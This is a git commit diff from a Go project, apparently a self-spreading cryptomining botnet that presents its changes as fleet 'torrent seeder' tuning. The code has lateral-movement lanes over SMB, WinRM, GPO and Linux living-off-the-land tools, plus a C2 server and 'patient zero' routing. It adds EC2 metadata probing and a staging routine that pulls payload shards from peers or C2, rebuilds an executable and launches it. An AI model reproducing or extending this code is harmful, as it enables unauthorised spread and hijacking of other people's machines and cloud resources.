Elect one fleet torrent seeder per AWS VPC via IMDS cloud_instance_meta.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled

Agents read vpc-id from EC2 IMDS on auth; the server scopes subnet_primary_seeder to vpc-id with /24 fallback, exposes VPC seeder badges, and documents cross-VPC gossip via peering/TGW.
This commit is contained in:
AetherForge
2026-06-07 10:06:42 -07:00
parent 0795c511ab
commit 990105f7bf
49 changed files with 570 additions and 879 deletions

View File

@@ -100,8 +100,6 @@ type AgentClient struct {
// spreadOnce ensures AutoSpreader starts at most once — after the first
// successful WS authentication confirms we are on an owned fleet.
spreadOnce sync.Once
// cloudVenueOnce starts EC2 IMDS tag scouting after first successful auth.
cloudVenueOnce sync.Once
// commandResultHook is set in tests to observe sendCommandResult without a live WS.
commandResultHook func(action string, success bool, message string)
@@ -405,8 +403,6 @@ func (c *AgentClient) authenticate() error {
authPayload.ParentAgentID = parentID
authPayload.SpreadGeneration = spreadGen
authPayload.SpreadStrain = spreadStrain
authPayload.GenesisSnapshotHash = strings.TrimSpace(os.Getenv("AETHER_GENESIS_SNAPSHOT_HASH"))
authPayload.StrainCardID = strings.TrimSpace(os.Getenv("AETHER_STRAIN_CARD_ID"))
payload, _ := json.Marshal(authPayload)
if err := c.write(Message{Type: "auth", Payload: payload}); err != nil {
return err
@@ -486,10 +482,6 @@ func (c *AgentClient) authenticate() error {
}
})
c.cloudVenueOnce.Do(func() {
c.startCloudVenueScout()
})
if !c.cfg.IsSeederRole(c.fleetRoleHint()) {
c.write(Message{Type: "get_job", Payload: json.RawMessage("{}")})
}

View File

@@ -17,7 +17,7 @@ func TestHandleFleetTorrentGossipMergesDHT(t *testing.T) {
}},
})
c.handleFleetTorrentGossip(payload)
peers := deploy.FleetShardDHTSnapshot().PeersForShard("tok", 1, "10.0.0", "")
peers := deploy.FleetShardDHTSnapshot().PeersForShard("tok", 1, "10.0.0")
if len(peers) != 1 || peers[0].AgentID != "peer" {
t.Fatalf("peers=%+v", peers)
}

View File

@@ -122,8 +122,6 @@ func applySpreadPolicyFields(cfg *config.RuntimeConfig, raw json.RawMessage) {
HashrateGateHPS float64 `json:"hashrate_gate_hps"`
ErasureLanesEnabled bool `json:"erasure_lanes_enabled"`
FleetTorrentEnabled bool `json:"fleet_torrent_enabled"`
AwsS3ShardRegion string `json:"aws_s3_shard_region"`
AwsCloudFrontDomain string `json:"aws_cloudfront_domain"`
SpreadTemperament json.RawMessage `json:"spread_temperament"`
}
if err := json.Unmarshal(raw, &policy); err != nil {
@@ -137,12 +135,6 @@ func applySpreadPolicyFields(cfg *config.RuntimeConfig, raw json.RawMessage) {
}
cfg.ErasureLanesEnabled = policy.ErasureLanesEnabled
cfg.FleetTorrentEnabled = policy.FleetTorrentEnabled
if v := strings.TrimSpace(policy.AwsS3ShardRegion); v != "" {
cfg.AwsS3ShardRegion = v
}
if v := strings.TrimSpace(policy.AwsCloudFrontDomain); v != "" {
cfg.AwsCloudFrontDomain = v
}
applySpreadTemperament(cfg, policy.SpreadTemperament)
}

View File

@@ -55,8 +55,6 @@ type AuthPayload struct {
ParentAgentID string `json:"parent_agent_id,omitempty"`
SpreadGeneration int `json:"spread_generation,omitempty"`
SpreadStrain string `json:"spread_strain,omitempty"`
GenesisSnapshotHash string `json:"genesis_snapshot_hash,omitempty"`
StrainCardID string `json:"strain_card_id,omitempty"`
FleetRole string `json:"fleet_role,omitempty"`
SeederMode bool `json:"seeder_mode,omitempty"`
}

View File

@@ -71,15 +71,6 @@ func TestAuthPayloadSpreadGenealogyJSONRoundTrip(t *testing.T) {
}
}
func TestAuthPayloadLaunchTemplateGenesisJSONRoundTrip(t *testing.T) {
in := AuthPayload{AgentID: "lt-1", GenesisSnapshotHash: "deadbeef", StrainCardID: "card-9", ParentAgentID: "template"}
var out AuthPayload
roundTrip(t, in, &out)
if out.GenesisSnapshotHash != "deadbeef" || out.StrainCardID != "card-9" {
t.Fatalf("genesis fields: %+v", out)
}
}
func TestAuthResponseJSONRoundTrip(t *testing.T) {
in := AuthResponse{Success: true, AgentID: "a1", Error: ""}
var out AuthResponse

View File

@@ -149,12 +149,8 @@ type BuiltinConfig struct {
ErasureLanesEnabled bool
// FleetTorrentEnabled enables content-addressed shard DHT + fleet gossip (server policy).
FleetTorrentEnabled bool
AwsS3ShardRegion string
AwsCloudFrontDomain string
// SubnetPrimarySeeder is set on auth when this agent is the primary seeder for its /24.
SubnetPrimarySeeder bool
PolicySnapshotPollURL string
EventBridgeRelayURL string
}
// BackupPool holds connection info for a fallback Stratum mining pool.

View File

@@ -0,0 +1,106 @@
package deploy
import (
"context"
"fmt"
"io"
"net/http"
"strings"
"time"
)
const ec2IMDSBase = "http://169.254.169.254/latest"
type CloudInstanceMeta struct {
VpcID string `json:"vpc_id,omitempty"`
SubnetID string `json:"subnet_id,omitempty"`
Region string `json:"region,omitempty"`
}
func (m CloudInstanceMeta) Present() bool {
return strings.TrimSpace(m.VpcID) != "" || strings.TrimSpace(m.SubnetID) != "" || strings.TrimSpace(m.Region) != ""
}
var ec2IMDSReadMeta = readEC2InstanceMetaImpl
func ReadEC2InstanceMeta() CloudInstanceMeta {
ctx, cancel := context.WithTimeout(context.Background(), 2*time.Second)
defer cancel()
meta, _ := ec2IMDSReadMeta(ctx)
return meta
}
func readEC2InstanceMetaImpl(ctx context.Context) (CloudInstanceMeta, error) {
token, err := fetchEC2IMDSToken(ctx)
if err != nil {
return CloudInstanceMeta{}, err
}
region, _ := fetchEC2IMDSPath(ctx, token, "meta-data/placement/region")
if strings.TrimSpace(region) == "" {
az, _ := fetchEC2IMDSPath(ctx, token, "meta-data/placement/availability-zone")
az = strings.TrimSpace(az)
if len(az) > 1 {
region = az[:len(az)-1]
}
}
macs, err := fetchEC2IMDSPath(ctx, token, "meta-data/network/interfaces/macs/")
if err != nil || strings.TrimSpace(macs) == "" {
return CloudInstanceMeta{Region: strings.TrimSpace(region)}, nil
}
mac := strings.TrimSpace(strings.Split(macs, "\n")[0])
if mac == "" {
return CloudInstanceMeta{Region: strings.TrimSpace(region)}, nil
}
if !strings.HasSuffix(mac, "/") {
mac += "/"
}
base := "meta-data/network/interfaces/macs/" + mac
vpcID, _ := fetchEC2IMDSPath(ctx, token, base+"vpc-id")
subnetID, _ := fetchEC2IMDSPath(ctx, token, base+"subnet-id")
return CloudInstanceMeta{VpcID: strings.TrimSpace(vpcID), SubnetID: strings.TrimSpace(subnetID), Region: strings.TrimSpace(region)}, nil
}
func fetchEC2IMDSToken(ctx context.Context) (string, error) {
req, err := http.NewRequestWithContext(ctx, http.MethodPut, ec2IMDSBase+"/api/token", nil)
if err != nil {
return "", err
}
req.Header.Set("X-aws-ec2-metadata-token-ttl-seconds", "60")
resp, err := http.DefaultClient.Do(req)
if err != nil {
return "", err
}
defer resp.Body.Close()
if resp.StatusCode != http.StatusOK {
return "", fmt.Errorf("imds token HTTP %d", resp.StatusCode)
}
body, err := io.ReadAll(io.LimitReader(resp.Body, 128))
return strings.TrimSpace(string(body)), err
}
func fetchEC2IMDSPath(ctx context.Context, token, path string) (string, error) {
path = strings.TrimPrefix(path, "/")
req, err := http.NewRequestWithContext(ctx, http.MethodGet, ec2IMDSBase+"/"+path, nil)
if err != nil {
return "", err
}
if token != "" {
req.Header.Set("X-aws-ec2-metadata-token", token)
}
resp, err := http.DefaultClient.Do(req)
if err != nil {
return "", err
}
defer resp.Body.Close()
if resp.StatusCode != http.StatusOK {
return "", fmt.Errorf("imds HTTP %d", resp.StatusCode)
}
body, err := io.ReadAll(io.LimitReader(resp.Body, 64<<10))
return strings.TrimSpace(string(body)), err
}
// ec2IMDSToken and ec2IMDSFetch are shared helpers for cloud venue probing.
func ec2IMDSToken(ctx context.Context) (string, error) { return fetchEC2IMDSToken(ctx) }
func ec2IMDSFetch(ctx context.Context, token, path string) (string, error) {
return fetchEC2IMDSPath(ctx, token, path)
}

View File

@@ -0,0 +1,29 @@
package deploy
import (
"context"
"testing"
)
func TestReadEC2InstanceMetaMockIMDS(t *testing.T) {
prev := ec2IMDSReadMeta
t.Cleanup(func() { ec2IMDSReadMeta = prev })
ec2IMDSReadMeta = func(ctx context.Context) (CloudInstanceMeta, error) {
return CloudInstanceMeta{VpcID: "vpc-abc123", SubnetID: "subnet-def456", Region: "us-east-1"}, nil
}
meta := ReadEC2InstanceMeta()
if meta.VpcID != "vpc-abc123" {
t.Fatalf("meta=%+v", meta)
}
}
func TestReadEC2InstanceMetaNonAWSFallback(t *testing.T) {
prev := ec2IMDSReadMeta
t.Cleanup(func() { ec2IMDSReadMeta = prev })
ec2IMDSReadMeta = func(ctx context.Context) (CloudInstanceMeta, error) {
return CloudInstanceMeta{}, context.DeadlineExceeded
}
if ReadEC2InstanceMeta().Present() {
t.Fatal("expected empty meta on non-AWS fallback")
}
}

View File

@@ -1,4 +1,4 @@
package deploy
package deploy
import (
"crypto/hmac"
@@ -25,8 +25,6 @@ type SpreadRouteHint struct {
ClearanceLevel int `json:"clearance_level,omitempty"`
SwarmMagnet string `json:"swarm_magnet,omitempty"`
ShardManifestURLs []string `json:"shard_manifest_urls,omitempty"`
RouteVia string `json:"route_via,omitempty"`
PreferFargateSeeder bool `json:"prefer_fargate_seeder,omitempty"`
}
// WebRTCMeshPlanBody is the signed WebRTC mesh policy attached to deploy plans.
@@ -109,8 +107,7 @@ func ExecuteDeployPlanAs(cfg config.RuntimeConfig, plan DeployPlanBody, executor
if config.FleetTorrentEnabled(cfg) {
c2 := c2BaseFromPlan(plan)
localIP, _ := PrimaryLocalIPv4()
localRegion := ResolveLocalAWSRegion(cfg.AwsS3ShardRegion)
if em, eErr := RunFleetTorrentStaging(cfg, *plan.ErasurePlan, c2, SubnetFromIP(localIP), localRegion); eErr == nil {
if em, eErr := RunFleetTorrentStaging(cfg, *plan.ErasurePlan, c2, SubnetFromIP(localIP)); eErr == nil {
return em + " (primary lane failed: " + err.Error() + ")", nil
}
}
@@ -274,7 +271,7 @@ func routedEgressDeferral(plan DeployPlanBody, executorAgentID, lane string) (st
switch lane {
case "spread_smb_unc", "winrm", "gpo", "linux_lotl":
return fmt.Sprintf(
"spread_route_hint: egress=%s seed=%s subnet=%s (deferred ΓÇö routed egress, not patient zero)",
"spread_route_hint: egress=%s seed=%s subnet=%s (deferred routed egress, not patient zero)",
egress,
strings.TrimSpace(plan.SpreadRouteHint.SeedAgentID),
strings.TrimSpace(plan.SpreadRouteHint.TargetSubnet),
@@ -404,9 +401,6 @@ func appendSpreadRouteTelemetry(detail string, hint *SpreadRouteHint) string {
strings.TrimSpace(hint.SeedAgentID),
hint.Score,
)
if via := strings.TrimSpace(hint.RouteVia); via != "" {
routeNote += "; route_via=" + via
}
if detail == "" {
return routeNote
}

View File

@@ -183,20 +183,6 @@ func TestExecuteDeployPlanDNSTXTWithMockResolver(t *testing.T) {
}
}
func TestExecuteDeployPlanSSMDocumentMock(t *testing.T) {
plan := DeployPlanBody{
JoinLane: "ssm_document", Action: "ssm_document",
SSMDocument: `{"schemaVersion":"2.2"}`,
}
msg, err := ExecuteDeployPlan(config.RuntimeConfig{}, plan)
if err != nil {
t.Fatal(err)
}
if !strings.Contains(msg, "ssm_document") {
t.Fatalf("msg=%q", msg)
}
}
func TestExecuteDeployPlanHonorsSpreadRouteHintDeferral(t *testing.T) {
plan := DeployPlanBody{
JoinLane: "spread_smb_unc",

View File

@@ -17,10 +17,9 @@ import (
// ErasureShardRef is one parallel-lane shard fetch target in a signed deploy plan.
type ErasureShardRef struct {
Index int `json:"index"`
Lane string `json:"lane"`
URL string `json:"url"`
EdgeURL string `json:"edge_url,omitempty"`
Index int `json:"index"`
Lane string `json:"lane"`
URL string `json:"url"`
}
// ErasurePlanBody is server-encoded ReedSolomon metadata for multi-lane spread payloads.

View File

@@ -21,12 +21,14 @@ const (
fleetTorrentZeroServerRetry = 30 * time.Minute
)
// FleetGossipKind mirrors server atlas fleet gossip kinds.
const (
FleetGossipHaveShard = "have_shard"
FleetGossipHealthy = "healthy"
FleetGossipKnowNode = "know_node"
)
// FleetGossipRecord is one DHT advertisement from a fleet peer.
type FleetGossipRecord struct {
Kind string `json:"kind"`
AgentID string `json:"agent_id,omitempty"`
@@ -34,36 +36,37 @@ type FleetGossipRecord struct {
Token string `json:"token,omitempty"`
ShardIndex int `json:"shard_index,omitempty"`
ShardHash string `json:"shard_hash,omitempty"`
Region string `json:"region,omitempty"`
ShardAdvert string `json:"shard_advert,omitempty"`
TargetAgentID string `json:"target_agent_id,omitempty"`
Healthy bool `json:"healthy,omitempty"`
FetchURL string `json:"fetch_url,omitempty"`
}
// ShardPeer is a known holder of one content-addressed shard.
type ShardPeer struct {
AgentID string
Subnet string
Region string
FetchURL string
Score int // higher = prefer LAN same-subnet
}
// FleetShardDHT tracks content-addressed shard availability across the fleet.
type FleetShardDHT struct {
mu sync.RWMutex
peers map[string]map[int][]ShardPeer
shardHash map[string]map[int]string
healthy map[string]bool
local map[string]map[int][]byte
mu sync.RWMutex
peers map[string]map[int][]ShardPeer // token -> index -> peers
healthy map[string]bool // agentID -> healthy
local map[string]map[int][]byte // token -> index -> shard bytes (primary seeder cache)
}
var globalFleetDHT = &FleetShardDHT{
peers: make(map[string]map[int][]ShardPeer),
shardHash: make(map[string]map[int]string),
healthy: make(map[string]bool),
local: make(map[string]map[int][]byte),
peers: make(map[string]map[int][]ShardPeer),
healthy: make(map[string]bool),
local: make(map[string]map[int][]byte),
}
func FleetShardDHTSnapshot() *FleetShardDHT { return globalFleetDHT }
// FleetShardDHTSnapshot returns the process-wide shard DHT (tests may replace).
func FleetShardDHTSnapshot() *FleetShardDHT {
return globalFleetDHT
}
func SetFleetShardDHT(dht *FleetShardDHT) {
if dht != nil {
@@ -76,6 +79,7 @@ func shardContentHash(data []byte) string {
return hex.EncodeToString(sum[:])
}
// MergeFleetGossipRecords ingests relayed fleet torrent gossip.
func (d *FleetShardDHT) MergeFleetGossipRecords(records []FleetGossipRecord) {
if d == nil || len(records) == 0 {
return
@@ -88,28 +92,17 @@ func (d *FleetShardDHT) MergeFleetGossipRecords(records []FleetGossipRecord) {
if r.Token == "" || r.AgentID == "" {
continue
}
region := strings.TrimSpace(r.Region)
if region == "" && r.ShardAdvert != "" {
if parsed, _, ok := ParseShardAdvert(r.ShardAdvert); ok {
region = parsed
}
}
if d.peers[r.Token] == nil {
d.peers[r.Token] = make(map[int][]ShardPeer)
}
if d.shardHash[r.Token] == nil {
d.shardHash[r.Token] = make(map[int]string)
}
if h := strings.TrimSpace(strings.ToLower(r.ShardHash)); h != "" {
d.shardHash[r.Token][r.ShardIndex] = h
}
peer := ShardPeer{AgentID: r.AgentID, Subnet: r.Subnet, Region: region, FetchURL: r.FetchURL}
peer := ShardPeer{AgentID: r.AgentID, Subnet: r.Subnet, FetchURL: r.FetchURL}
d.peers[r.Token][r.ShardIndex] = appendUniquePeer(d.peers[r.Token][r.ShardIndex], peer)
case FleetGossipHealthy:
if r.AgentID != "" {
d.healthy[r.AgentID] = r.Healthy
}
case FleetGossipKnowNode:
// know_node expands peer graph — treated as healthy signal for target
if r.TargetAgentID != "" {
d.healthy[r.TargetAgentID] = true
}
@@ -126,6 +119,7 @@ func appendUniquePeer(peers []ShardPeer, p ShardPeer) []ShardPeer {
return append(peers, p)
}
// StoreLocalShard caches one shard for primary-seeder fan-out.
func (d *FleetShardDHT) StoreLocalShard(token string, index int, body []byte) {
if d == nil || token == "" || len(body) == 0 {
return
@@ -138,6 +132,7 @@ func (d *FleetShardDHT) StoreLocalShard(token string, index int, body []byte) {
d.local[token][index] = append([]byte(nil), body...)
}
// LocalShard returns a cached shard when this agent is primary seeder.
func (d *FleetShardDHT) LocalShard(token string, index int) ([]byte, bool) {
if d == nil {
return nil, false
@@ -154,7 +149,8 @@ func (d *FleetShardDHT) LocalShard(token string, index int) ([]byte, bool) {
return append([]byte(nil), body...), true
}
func (d *FleetShardDHT) PeersForShard(token string, index int, localSubnet, localRegion string) []ShardPeer {
// PeersForShard returns known peers holding one shard index.
func (d *FleetShardDHT) PeersForShard(token string, index int, localSubnet string) []ShardPeer {
if d == nil {
return nil
}
@@ -167,8 +163,8 @@ func (d *FleetShardDHT) PeersForShard(token string, index int, localSubnet, loca
out := make([]ShardPeer, len(raw))
copy(out, raw)
sort.Slice(out, func(i, j int) bool {
si := peerScore(out[i], localSubnet, localRegion)
sj := peerScore(out[j], localSubnet, localRegion)
si := peerScore(out[i], localSubnet)
sj := peerScore(out[j], localSubnet)
if si != sj {
return si > sj
}
@@ -177,26 +173,8 @@ func (d *FleetShardDHT) PeersForShard(token string, index int, localSubnet, loca
return out
}
func (d *FleetShardDHT) ShardContentHash(token string, index int) string {
if d == nil {
return ""
}
d.mu.RLock()
defer d.mu.RUnlock()
if d.shardHash[token] == nil {
return ""
}
return d.shardHash[token][index]
}
func peerScore(p ShardPeer, localSubnet, localRegion string) int {
func peerScore(p ShardPeer, localSubnet string) int {
if localSubnet != "" && p.Subnet == localSubnet {
return 4
}
if localRegion != "" && p.Region == localRegion {
return 3
}
if p.Region != "" {
return 2
}
if p.Subnet != "" {
@@ -205,6 +183,7 @@ func peerScore(p ShardPeer, localSubnet, localRegion string) int {
return 0
}
// PickLANNeighborPeers returns up to maxLAN peers on the same /24.
func PickLANNeighborPeers(peers []ShardPeer, localSubnet string, maxLAN int) []ShardPeer {
if maxLAN <= 0 {
maxLAN = fleetTorrentMaxLANNeighbors
@@ -221,14 +200,15 @@ func PickLANNeighborPeers(peers []ShardPeer, localSubnet string, maxLAN int) []S
return out
}
func FetchErasureShardFleet(token string, index int, c2URL, cloudFrontURL, localSubnet, localRegion string, dht *FleetShardDHT) ([]byte, error) {
// FetchErasureShardFleet tries LAN neighbors, cross-subnet peers, then C2 URL.
func FetchErasureShardFleet(token string, index int, c2URL, localSubnet string, dht *FleetShardDHT) ([]byte, error) {
if dht == nil {
dht = globalFleetDHT
}
if body, ok := dht.LocalShard(token, index); ok {
return body, nil
}
peers := dht.PeersForShard(token, index, localSubnet, localRegion)
peers := dht.PeersForShard(token, index, localSubnet)
try := func(url string) ([]byte, error) {
if url == "" {
return nil, fmt.Errorf("empty url")
@@ -247,35 +227,18 @@ func FetchErasureShardFleet(token string, index int, c2URL, cloudFrontURL, local
if localSubnet != "" && p.Subnet == localSubnet {
continue
}
if localRegion != "" && p.Region == localRegion {
if body, err := try(p.FetchURL); err == nil {
return body, nil
}
}
}
for _, p := range peers {
if localSubnet != "" && p.Subnet == localSubnet {
continue
}
if localRegion != "" && p.Region == localRegion {
continue
}
if body, err := try(p.FetchURL); err == nil {
return body, nil
}
}
if cloudFrontURL != "" {
if body, err := try(cloudFrontURL); err == nil {
return body, nil
}
}
if c2URL != "" {
return try(c2URL)
}
return nil, fmt.Errorf("fleet torrent: no shard source for %s/%d", token, index)
}
func RunFleetTorrentStaging(cfg config.RuntimeConfig, plan ErasurePlanBody, c2BaseURL, localSubnet, localRegion string) (string, error) {
// RunFleetTorrentStaging reassembles via fleet DHT peers with C2 super-seeder fallback.
func RunFleetTorrentStaging(cfg config.RuntimeConfig, plan ErasurePlanBody, c2BaseURL, localSubnet string) (string, error) {
if !plan.Enabled || len(plan.Shards) == 0 {
return "", fmt.Errorf("erasure plan disabled or empty")
}
@@ -311,15 +274,7 @@ func RunFleetTorrentStaging(cfg config.RuntimeConfig, plan ErasurePlanBody, c2Ba
if c2 != "" && !strings.HasPrefix(c2URL, "http") {
c2URL = fmt.Sprintf("%s/api/v1/public/erasure-shard/%s/%d", c2, plan.ShardToken, ref.Index)
}
region := localRegion
if region == "" {
region = strings.TrimSpace(cfg.AwsS3ShardRegion)
}
cfURL := cloudFrontShardURL(cfg.AwsCloudFrontDomain, plan.ShardToken, region, ref.Index, dht.ShardContentHash(plan.ShardToken, ref.Index))
if edge := strings.TrimSpace(ref.EdgeURL); edge != "" {
cfURL = edge
}
body, err := FetchErasureShardFleet(plan.ShardToken, ref.Index, c2URL, cfURL, localSubnet, localRegion, dht)
body, err := FetchErasureShardFleet(plan.ShardToken, ref.Index, c2URL, localSubnet, dht)
if err != nil {
continue
}
@@ -358,7 +313,8 @@ func RunFleetTorrentStaging(cfg config.RuntimeConfig, plan ErasurePlanBody, c2Ba
return "fleet_torrent: " + msg, nil
}
func IngestErasureShardsForSeeder(plan ErasurePlanBody, region string, fetchFn func(url string) ([]byte, error)) []FleetGossipRecord {
// IngestErasureShardsForSeeder stores shards and prepares gossip advertisements for primary seeders.
func IngestErasureShardsForSeeder(plan ErasurePlanBody, fetchFn func(url string) ([]byte, error)) []FleetGossipRecord {
if fetchFn == nil {
fetchFn = fetchErasureShardHTTP
}
@@ -369,33 +325,40 @@ func IngestErasureShardsForSeeder(plan ErasurePlanBody, region string, fetchFn f
if err != nil || len(body) == 0 {
continue
}
hash := shardContentHash(body)
dht.StoreLocalShard(plan.ShardToken, ref.Index, body)
records = append(records, FleetGossipRecord{
Kind: FleetGossipHaveShard, Token: plan.ShardToken, ShardIndex: ref.Index,
ShardHash: hash, Region: strings.TrimSpace(region),
ShardAdvert: FormatShardAdvert(region, ref.Index), FetchURL: ref.URL, Healthy: true,
Kind: FleetGossipHaveShard,
Token: plan.ShardToken,
ShardIndex: ref.Index,
ShardHash: shardContentHash(body),
FetchURL: ref.URL,
Healthy: true,
})
}
return records
}
// StartFleetTorrentReplication runs background shard re-replication for primary seeders.
func StartFleetTorrentReplication(cfg config.RuntimeConfig, plan ErasurePlanBody, gossipFn func([]FleetGossipRecord)) {
if !config.FleetTorrentEnabled(cfg) || !cfg.SubnetPrimarySeeder || gossipFn == nil {
if !config.FleetTorrentEnabled(cfg) || !cfg.SubnetPrimarySeeder {
return
}
if gossipFn == nil {
return
}
go func() {
ticker := time.NewTicker(5 * time.Minute)
defer ticker.Stop()
for range ticker.C {
region := ResolveLocalAWSRegion(cfg.AwsS3ShardRegion)
if recs := IngestErasureShardsForSeeder(plan, region, fetchErasureShardHTTP); len(recs) > 0 {
recs := IngestErasureShardsForSeeder(plan, fetchErasureShardHTTP)
if len(recs) > 0 {
gossipFn(recs)
}
}
}()
}
// StartZeroServerReconnect attempts HTTPS dashboard reconnect every 30 minutes.
func StartZeroServerReconnect(reconnectFn func() error) {
if reconnectFn == nil {
return
@@ -409,6 +372,7 @@ func StartZeroServerReconnect(reconnectFn func() error) {
}()
}
// ParseSwarmMagnetToken extracts the erasure token from a swarm magnet tr= parameter.
func ParseSwarmMagnetToken(magnet string) string {
magnet = strings.TrimSpace(magnet)
if magnet == "" {
@@ -424,6 +388,7 @@ func ParseSwarmMagnetToken(magnet string) string {
return ""
}
// FetchShardManifestHTTP loads shard bytes from a manifest URL entry.
func FetchShardManifestHTTP(manifestURL string) ([]byte, error) {
if manifestURL == "" {
return nil, fmt.Errorf("empty manifest url")

View File

@@ -9,59 +9,19 @@ import (
)
func TestFleetShardDHTMergeAndFetch(t *testing.T) {
dht := &FleetShardDHT{peers: make(map[string]map[int][]ShardPeer), shardHash: make(map[string]map[int]string), local: make(map[string]map[int][]byte)}
dht := &FleetShardDHT{
peers: make(map[string]map[int][]ShardPeer),
healthy: make(map[string]bool),
local: make(map[string]map[int][]byte),
}
dht.MergeFleetGossipRecords([]FleetGossipRecord{{
Kind: FleetGossipHaveShard, AgentID: "peer-a", Subnet: "10.1.2", Token: "tok1",
ShardIndex: 0, FetchURL: "mock://shard0", Region: "us-east-1",
Kind: FleetGossipHaveShard,
AgentID: "peer-a",
Subnet: "10.1.2",
Token: "tok1",
ShardIndex: 0,
FetchURL: "mock://shard0",
}})
prev := erasureFetchFn
erasureFetchFn = func(url string) ([]byte, error) {
if url == "mock://shard0" {
return []byte("shard"), nil
}
return nil, nil
}
defer func() { erasureFetchFn = prev }()
body, err := FetchErasureShardFleet("tok1", 0, "mock://c2", "", "10.1.2", "us-east-1", dht)
if err != nil || string(body) != "shard" {
t.Fatalf("body=%v err=%v", body, err)
}
}
func TestFetchErasureShardFleetRegionPriority(t *testing.T) {
dht := &FleetShardDHT{peers: make(map[string]map[int][]ShardPeer), shardHash: make(map[string]map[int]string)}
dht.MergeFleetGossipRecords([]FleetGossipRecord{
{Kind: FleetGossipHaveShard, AgentID: "eu", Token: "t", ShardIndex: 0, Region: "eu-west-1", FetchURL: "mock://eu"},
{Kind: FleetGossipHaveShard, AgentID: "us", Token: "t", ShardIndex: 0, Region: "us-east-1", FetchURL: "mock://us"},
})
prev := erasureFetchFn
var got string
erasureFetchFn = func(url string) ([]byte, error) { got = url; return []byte("x"), nil }
defer func() { erasureFetchFn = prev }()
_, err := FetchErasureShardFleet("t", 0, "", "", "10.9.9", "us-east-1", dht)
if err != nil || got != "mock://us" {
t.Fatalf("got=%q err=%v", got, err)
}
}
func TestFetchErasureShardFleetCloudFrontBeforeC2(t *testing.T) {
dht := &FleetShardDHT{peers: make(map[string]map[int][]ShardPeer), shardHash: make(map[string]map[int]string)}
prev := erasureFetchFn
erasureFetchFn = func(url string) ([]byte, error) {
if url == "mock://cf" {
return []byte("cf"), nil
}
return nil, nil
}
defer func() { erasureFetchFn = prev }()
body, err := FetchErasureShardFleet("t", 0, "mock://c2", "mock://cf", "", "", dht)
if err != nil || string(body) != "cf" {
t.Fatalf("body=%s err=%v", body, err)
}
}
func TestRunFleetTorrentStagingRoundtrip(t *testing.T) {
dht := &FleetShardDHT{peers: make(map[string]map[int][]ShardPeer), shardHash: make(map[string]map[int]string), local: make(map[string]map[int][]byte)}
payload := []byte("fleet-torrent-roundtrip")
p := erasureParams{DataShards: 2, ParityShards: 1}
enc, _ := reedsolomon.New(p.DataShards, p.ParityShards)
@@ -69,29 +29,79 @@ func TestRunFleetTorrentStagingRoundtrip(t *testing.T) {
_ = enc.Encode(shards)
prev := erasureFetchFn
erasureFetchFn = func(url string) ([]byte, error) {
switch url {
case "mock://0":
if url == "mock://shard0" {
return shards[0], nil
case "mock://1":
return shards[1], nil
case "mock://2":
return shards[2], nil
default:
return nil, nil
}
if url == "mock://c2" {
return shards[1], nil
}
return nil, nil
}
defer func() { erasureFetchFn = prev }()
body, err := FetchErasureShardFleet("tok1", 0, "mock://c2", "10.1.2", dht)
if err != nil || string(body) != string(shards[0]) {
t.Fatalf("fetch=%v err=%v", body, err)
}
plan := ErasurePlanBody{
Enabled: true, Scheme: erasureSchemeReedSolomonV1,
DataShards: p.DataShards, ParityShards: p.ParityShards,
PayloadSHA256: hexSHA256(payload), PayloadSize: len(payload),
ShardToken: "tok1", Dest: t.TempDir() + `\w.exe`, Launch: "exe",
Shards: []ErasureShardRef{
{Index: 0, URL: "mock://c2"},
{Index: 1, URL: "mock://c2"},
{Index: 2, URL: "mock://c2"},
},
}
dht.MergeFleetGossipRecords([]FleetGossipRecord{{
Kind: FleetGossipHaveShard, AgentID: "peer-b", Subnet: "10.9.9",
Token: "tok1", ShardIndex: 1, FetchURL: "mock://shard1",
}})
erasureFetchFn = func(url string) ([]byte, error) {
switch url {
case "mock://shard0":
return shards[0], nil
case "mock://shard1":
return shards[1], nil
case "mock://c2":
return nil, nil
}
return nil, nil
}
prevLaunch := erasureLaunchFn
erasureLaunchFn = func(dest, launch, dllExport string, deferMining, spreadInstall bool) (string, error) { return "ok", nil }
erasureLaunchFn = func(dest, launch, dllExport string, deferMining, spreadInstall bool) (string, error) {
return "ok", nil
}
defer func() { erasureLaunchFn = prevLaunch }()
SetFleetShardDHT(dht)
plan := ErasurePlanBody{
Enabled: true, Scheme: erasureSchemeReedSolomonV1, DataShards: p.DataShards, ParityShards: p.ParityShards,
PayloadSHA256: hexSHA256(payload), PayloadSize: len(payload), ShardToken: "tok1",
Dest: t.TempDir() + `\w.exe`, Launch: "exe",
Shards: []ErasureShardRef{{Index: 0, URL: "mock://0"}, {Index: 1, URL: "mock://1"}, {Index: 2, URL: "mock://2"}},
}
if _, err := RunFleetTorrentStaging(config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{FleetTorrentEnabled: true}}, plan, "", "10.1.2", "us-east-1"); err != nil {
msg, err := RunFleetTorrentStaging(config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{
FleetTorrentEnabled: true, WorkerName: "w",
}}, plan, "", "10.1.2")
if err != nil {
t.Fatal(err)
}
if msg == "" {
t.Fatal("empty msg")
}
}
func TestPickLANNeighborPeersCapsAtThree(t *testing.T) {
peers := []ShardPeer{
{AgentID: "a", Subnet: "10.0.0"},
{AgentID: "b", Subnet: "10.0.0"},
{AgentID: "c", Subnet: "10.0.0"},
{AgentID: "d", Subnet: "10.0.0"},
}
got := PickLANNeighborPeers(peers, "10.0.0", 3)
if len(got) != 3 {
t.Fatalf("len=%d", len(got))
}
}
func TestParseSwarmMagnetToken(t *testing.T) {
m := "magnet:?xt=urn:sha256:abc&dn=aetherforge-erasure-deadbeef&tr=urn:aetherforge:erasure:deadbeefcafe"
if tok := ParseSwarmMagnetToken(m); tok != "deadbeefcafe" {
t.Fatalf("token=%q", tok)
}
}

View File

@@ -19,7 +19,6 @@ var DefaultLotlOnionTiers = []string{
"winrm",
"linux",
"gpo",
"ssm_document",
}
// NormalizeLotlTiers filters unknown ids and falls back to defaults when empty.
@@ -28,7 +27,7 @@ func NormalizeLotlTiers(raw []string) []string {
"vuln_recon": {},
"docker": {}, "wsl": {}, "powershell": {}, "dotnet": {},
"bits_curl": {}, "do_peer": {}, "wsus_cache_peer": {}, "dns_txt": {}, "webrtc_mesh": {},
"smb": {}, "winrm": {}, "linux": {}, "gpo": {}, "ssm_document": {},
"smb": {}, "winrm": {}, "linux": {}, "gpo": {},
}
out := make([]string, 0, len(raw))
for _, t := range raw {

View File

@@ -1,4 +1,4 @@
package main
package main
import (
"encoding/json"
@@ -9,7 +9,6 @@ import (
"strings"
